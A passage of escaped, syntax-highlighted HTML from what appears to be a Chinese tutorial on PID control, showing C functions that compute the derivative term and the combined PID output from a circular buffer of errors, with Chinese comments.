class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eMAX_LEN\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ebuf\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eDATA\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003ebuf\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/**\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @brief 求出微分项值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e *\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @param pid_struct 想要处理的PID结构体指针\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @return float\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"nf\"\u003eerr_change\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"n\"\u003ePID_struct\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 获取D值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003echange_speed\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eis_first\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003etop_index\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003echange_speed\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eDATA\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003etop_index\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eDATA\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eMAX_LEN\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003echange_speed\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eDATA\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003etop_index\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eDATA\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003etop_index\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eis_first\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003echange_speed\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/**\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @brief PID函数\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e *\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @param pid_struct 想要处理的PID结构体指针\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @param tar 目标值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @param cur 当前值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @return float 返回PID计算后的值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"nf\"\u003ePID\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"n\"\u003ePID_struct\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003etar\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003ecur\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003epid\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003eerr\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003etar\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"n\"\u003ecur\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003eP\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003eI\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003eD\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eDATA\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003etop_index\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eerr\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// PID数据先进先出\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003etop_index\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eLEN\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eDATA\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003etop_index\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eLEN\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eDATA\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003etop_index\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eLEN\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"n\"\u003eMAX_LEN\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eP\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eDATA\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003etop_index\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 获取PID三值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eI\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nf\"\u003eerr_sum\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eD\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nf\"\u003eerr_change\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003etop_index\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 数据头向前移动一个\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003etop_index\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan class=\"n\"\u003eMAX_LEN\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003etop_index\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eI\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eKI\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eMAX_I\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eI\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eMAX_I\u003c/span\u003e \u003cspan class=\"o\"\u003e/\u003c/span\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eKI\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eI\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eI\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 限制I的累计不可大于MAX_I\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003epid\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eP\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eKP\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"n\"\u003eI\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eKI\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"n\"\u003eD\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eKD\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 计算出PID的返回值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003epid\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003ch3 id=\"完整的mainc程序\"\u003e完整的main.c程序\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 24\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 25\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 26\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 27\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 28\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 29\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 30\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 31\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 32\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 33\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 34\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 35\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 36\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 37\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 38\n\u003c/span\u003e\u003cspan 